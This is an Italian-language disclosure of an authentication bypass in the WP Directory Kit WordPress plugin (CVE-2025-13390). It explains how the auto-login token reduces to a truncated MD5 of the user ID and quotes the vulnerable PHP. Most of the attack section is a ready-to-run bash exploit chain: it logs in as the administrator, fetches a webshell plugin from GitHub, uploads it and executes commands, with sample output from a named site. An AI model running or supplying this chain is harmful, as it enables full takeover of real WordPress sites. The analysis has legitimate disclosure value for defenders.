
WP Directory Kit <= 1.4.4 - Bypass dell'autenticazione per l'escalation dei privilegi tramite acquisizione dell'account
Il plugin WP Directory Kit per WordPress versione 1.4.4 e precedenti contiene un bypass dell'autenticazione nella sua funzionalità di accesso automatico. La vulnerabilità consente ad attaccanti non autenticati di ottenere accesso amministrativo ai siti WordPress sfruttando un meccanismo di generazione di token crittograficamente debole. La funzionalità di accesso automatico non può essere disabilitata e utilizza un token prevedibile derivato unicamente dall'hash MD5 dell'ID utente.
Il file CVE-2025-13390.sh carica un plugin webshell su un sito target assumendo che l'ID utente 1 sia un amministratore.
./CVE-2025-13390.sh
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete
Il plugin WP Directory Kit implementa una funzionalità di accesso automatico che consente agli utenti di autenticarsi senza inserire credenziali visitando un URL contenente i parametri user_id e token. Questa funzionalità è pensata per scenari di login senza password, ad esempio quando nuovi utenti vengono creati automaticamente e ricevono link di accesso via email.
La vulnerabilità risiede nella logica di generazione e validazione del token, situata in due file:
application/helpers/Basic.php:5132-5137):function wdk_generate_auto_login_link( $user_id = null ) {
$token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
$login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
return $login_url;
}
actions.php:116-130):add_action( 'init', function () {
if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
$user_id = (int) $_GET['user_id'];
$token = sanitize_text_field( $_GET['token'] );
if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
wp_set_auth_cookie( $user_id );
wp_redirect( home_url() );
exit;
} else {
wp_die( 'Wrong token.' );
}
}
});
La generazione del token presenta un grave difetto crittografico. Il codice tenta di creare un token mediante:
md5($user_id) – che produce una stringa esadecimale di 32 caratteriNONCE_KEY (una costante di WordPress, tipicamente di 64 caratteri)'wpdirectorykit'substr(..., 0, 10)Poiché md5($user_id) è lungo 32 caratteri e la funzione prende solo i primi 10, il token diventa semplicemente i primi 10 caratteri dell'hash MD5.
substr(md5($user_id), 0, 10)
Ad esempio, per user_id = 1:
md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 caratteri esadecimali)substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (solo i primi 10 caratteri di MD5)La costante NONCE_KEY, che dovrebbe fornire sicurezza crittografica, è del tutto irrilevante perché appare dopo i primi 10 caratteri dell'hash MD5.
Nota: Nelle installazioni WordPress, il primo utente creato (con user_id = 1) è quasi sempre un amministratore. Altri ID utente amministrativi possono essere enumerati e utilizzati all'occorrenza.
La funzionalità di accesso automatico è codificata direttamente nel file actions.php del plugin ed è sempre attiva quando il plugin è abilitato. Non esiste alcuna opzione di configurazione per disabilitarla. I link di accesso automatico vengono generati e inviati nei template delle email (vedi application/views/email/new_user_auto_created.php:55), ma l'endpoint stesso è sempre accessibile indipendentemente dalle impostazioni email.
Quando un attaccante invia una richiesta all'endpoint di accesso automatico con un token valido (es. /?auto-login=1&user_id=1&token=c4ca4238a0), il codice vulnerabile in actions.php:123 chiama la funzione wp_set_auth_cookie() di WordPress. Questa funzione stabilisce una sessione autenticata impostando i cookie di autenticazione di WordPress nella risposta HTTP. Questi cookie includono:
wordpress_logged_in_[hash] – Contiene l'ID utente e le informazioni di autenticazionewordpress_[hash] – Contiene il cookie di autenticazione per l'area amministrativaUna volta impostati questi cookie, il browser (o script) dell'attaccante viene trattato come una sessione autenticata per l'utente specificato.
Con questi cookie amministrativi, l'attaccante può installare plugin malevoli, creare utenti amministrativi e ottenere il pieno controllo del sito.
Il seguente script dimostra una catena di attacco completa che sfrutta la vulnerabilità di accesso automatico per ottenere accesso amministrativo e installare una webshell:
#!/bin/bash
TARGET="https://examplesite.com"
echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"
echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"
echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip
echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"
echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
-F "_wpnonce=$INSTALL_NONCE" \
-F "pluginzip=@/tmp/webshell.zip" \
-F "install-plugin-submit=Install Now" \
"$TARGET/wp-admin/update.php?action=upload-plugin")
if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
echo "[+] Plugin installed successfully"
else
echo "[-] Installation may have failed. Checking response..."
echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi
echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")
if [ -n "$WEBSHELL_RESPONSE" ]; then
echo "[+] Webshell is accessible!"
echo "[+] Response:"
echo "$WEBSHELL_RESPONSE"
else
echo "[-] Webshell may not be accessible or returned empty response"
fi
# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"